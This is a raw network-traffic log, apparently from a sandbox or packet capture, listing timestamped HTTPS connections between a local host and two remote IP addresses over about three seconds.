Oct 21, 2024 13:17:22.798261881 CEST	49764	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.798269033 CEST	443	49764	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.800839901 CEST	49768	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.800882101 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.800977945 CEST	49768	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.801126003 CEST	49768	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.801140070 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.807591915 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.807677031 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.807755947 CEST	49765	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.807866096 CEST	49765	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.807884932 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.807894945 CEST	49765	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.807899952 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.810137033 CEST	49769	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.810167074 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.810236931 CEST	49769	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.810343981 CEST	49769	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.810359001 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.813167095 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.813606024 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.813680887 CEST	49763	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.820725918 CEST	49763	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.820744991 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.820756912 CEST	49763	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.820761919 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.824805021 CEST	443	49766	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.825058937 CEST	443	49766	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.825263023 CEST	49766	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.825263023 CEST	49766	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.825263977 CEST	49766	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.828092098 CEST	49770	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.828109026 CEST	443	49770	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.828176975 CEST	49770	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.828309059 CEST	49770	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.828320980 CEST	443	49770	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.829016924 CEST	49771	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.829049110 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.829109907 CEST	49771	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.829205990 CEST	49771	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.829215050 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.837342978 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.837692022 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.837769032 CEST	49767	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.837809086 CEST	49767	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.837809086 CEST	49767	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.837826014 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.837841034 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.839535952 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:22.839546919 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:22.839571953 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:22.839628935 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:22.839652061 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:22.839672089 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:22.839700937 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:22.839736938 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:22.839755058 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:22.839787960 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:22.839793921 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:22.839822054 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:22.839834929 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:22.859325886 CEST	49772	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.859364033 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.859433889 CEST	49772	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.859596968 CEST	49772	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.859610081 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.131905079 CEST	49766	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.131926060 CEST	443	49766	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.376214027 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:23.376223087 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:23.376254082 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:23.376331091 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:23.376349926 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:23.376388073 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:23.376393080 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:23.376425028 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:23.376471043 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:23.528234005 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.528872967 CEST	49768	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.528958082 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.529373884 CEST	49768	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.529386997 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.532378912 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.532705069 CEST	49769	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.532721996 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.533062935 CEST	49769	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.533070087 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.562033892 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.562798023 CEST	49771	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.562814951 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.563299894 CEST	49771	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.563308954 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.580696106 CEST	443	49770	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.581408978 CEST	49770	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.581473112 CEST	443	49770	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.581828117 CEST	49770	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.581846952 CEST	443	49770	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.610822916 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.611438990 CEST	49772	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.611469030 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.611932993 CEST	49772	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.611943960 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.665173054 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.665323019 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.665359020 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.665385008 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.665419102 CEST	49768	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.665438890 CEST	49769	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.665541887 CEST	49769	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.665561914 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.665574074 CEST	49769	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.665580034 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.665844917 CEST	49768	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.665865898 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.665878057 CEST	49768	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.665884018 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.668735981 CEST	49773	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.668768883 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.668931961 CEST	49773	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.669003963 CEST	49774	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.669034958 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.669084072 CEST	49774	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.669084072 CEST	49773	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.669095993 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.669269085 CEST	49774	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.669286013 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.685189009 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:23.685210943 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:23.685278893 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:23.685297012 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:23.685317039 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:23.685333967 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:23.701097012 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.701878071 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.701991081 CEST	49771	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.702025890 CEST	49771	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.702025890 CEST	49771	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.702044964 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.702049017 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.704818010 CEST	49775	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.704850912 CEST	443	49775	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.705064058 CEST	49775	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.705064058 CEST	49775	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.705091953 CEST	443	49775	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.713690042 CEST	443	49770	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.713862896 CEST	443	49770	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.714027882 CEST	49770	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.714027882 CEST	49770	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.714027882 CEST	49770	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.716617107 CEST	49776	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.716666937 CEST	443	49776	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.716763020 CEST	49776	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.716900110 CEST	49776	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.716912031 CEST	443	49776	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.748349905 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.748428106 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.748800039 CEST	49772	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.748871088 CEST	49772	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.748871088 CEST	49772	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.748893023 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.748903990 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.752144098 CEST	49777	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.752191067 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:23.752302885 CEST	49777	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.752506018 CEST	49777	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:23.752517939 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.013314962 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:24.013349056 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:24.013364077 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:24.013407946 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:24.013462067 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:24.013472080 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:24.013508081 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:24.022629976 CEST	49770	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.022661924 CEST	443	49770	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.409822941 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.410419941 CEST	49773	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.410443068 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.410892010 CEST	49773	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.410897970 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.420540094 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.421772003 CEST	49774	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.421791077 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.422199011 CEST	49774	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.422204971 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.448421001 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:24.448434114 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:24.448483944 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:24.448498011 CEST	443	49776	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.448559046 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:24.448576927 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:24.448613882 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:24.448636055 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:24.449048042 CEST	49776	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.449062109 CEST	443	49776	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.449533939 CEST	49776	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.449549913 CEST	443	49776	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.456156969 CEST	443	49775	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.456497908 CEST	49775	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.456521988 CEST	443	49775	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.457201004 CEST	49775	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.457209110 CEST	443	49775	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.547909975 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.548486948 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.548603058 CEST	49773	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.548649073 CEST	49773	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.548649073 CEST	49773	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.548667908 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.548679113 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.552458048 CEST	49778	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.552489042 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.552629948 CEST	49778	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.552838087 CEST	49778	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.552850008 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.553514957 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.553808928 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.553865910 CEST	49774	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.553953886 CEST	49774	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.553953886 CEST	49774	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.553968906 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.553982019 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.556314945 CEST	49779	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.556354046 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.556421041 CEST	49779	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.556550980 CEST	49779	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.556564093 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.579653978 CEST	443	49776	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.580049992 CEST	443	49776	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.580209017 CEST	49776	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.580209017 CEST	49776	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.580209017 CEST	49776	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.582576036 CEST	49780	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.582611084 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.582799911 CEST	49780	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.582799911 CEST	49780	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.582823038 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.610594988 CEST	443	49775	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.613307953 CEST	443	49775	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.614248037 CEST	49775	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.614311934 CEST	49775	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.614311934 CEST	49775	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.614320040 CEST	443	49775	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.614340067 CEST	443	49775	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.617024899 CEST	49781	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.617058039 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.617130995 CEST	49781	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.617274046 CEST	49781	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.617294073 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:24.716519117 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:24.716530085 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:24.716572046 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:24.716649055 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:24.716667891 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:24.716691971 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:24.716711044 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:24.881875992 CEST	49776	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:24.881896973 CEST	443	49776	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.304593086 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:25.304605961 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:25.304646015 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:25.304699898 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:25.304716110 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:25.304743052 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:25.304761887 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:25.329665899 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.332941055 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.336500883 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.345002890 CEST	49778	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.345017910 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.349463940 CEST	49778	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.349473953 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.352843046 CEST	49780	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.352857113 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.353271961 CEST	49780	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.353276968 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.372562885 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.376745939 CEST	49781	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.376766920 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.380517006 CEST	49781	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.380523920 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.381885052 CEST	49779	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.403620958 CEST	49779	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.403635979 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.405363083 CEST	49779	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.405368090 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.477757931 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.477834940 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.477881908 CEST	49778	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.482372046 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.482456923 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.482530117 CEST	49780	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.511054039 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.511168003 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.511245012 CEST	49781	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.534054995 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.534228086 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.534334898 CEST	49779	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.574275970 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.602653980 CEST	49777	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.602745056 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.603097916 CEST	49777	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.603116035 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.603269100 CEST	49778	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.603302002 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.603332043 CEST	49778	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.603348970 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.604201078 CEST	49780	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.604217052 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.604348898 CEST	49780	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.604356050 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.605284929 CEST	49781	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.605284929 CEST	49781	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.605315924 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.605329037 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.606137991 CEST	49779	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.606178045 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.606208086 CEST	49779	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.606224060 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.677658081 CEST	49782	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.677700996 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.677791119 CEST	49782	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.678751945 CEST	49783	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.678781986 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.678895950 CEST	49783	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.680224895 CEST	49784	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.680258989 CEST	443	49784	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.680319071 CEST	49784	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.680538893 CEST	49782	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.680567980 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.683959007 CEST	49783	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.683985949 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.687619925 CEST	49784	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.687638998 CEST	443	49784	13.107.246.45	192.168.2.9
